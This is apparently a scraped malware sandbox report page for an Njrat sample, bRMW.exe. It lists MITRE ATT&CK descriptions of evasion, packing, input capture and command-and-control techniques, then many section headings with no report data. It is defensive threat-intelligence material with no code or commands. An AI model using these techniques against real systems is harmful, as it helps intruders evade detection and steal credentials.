Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report bRMW.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Njrat

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
bRMW.exe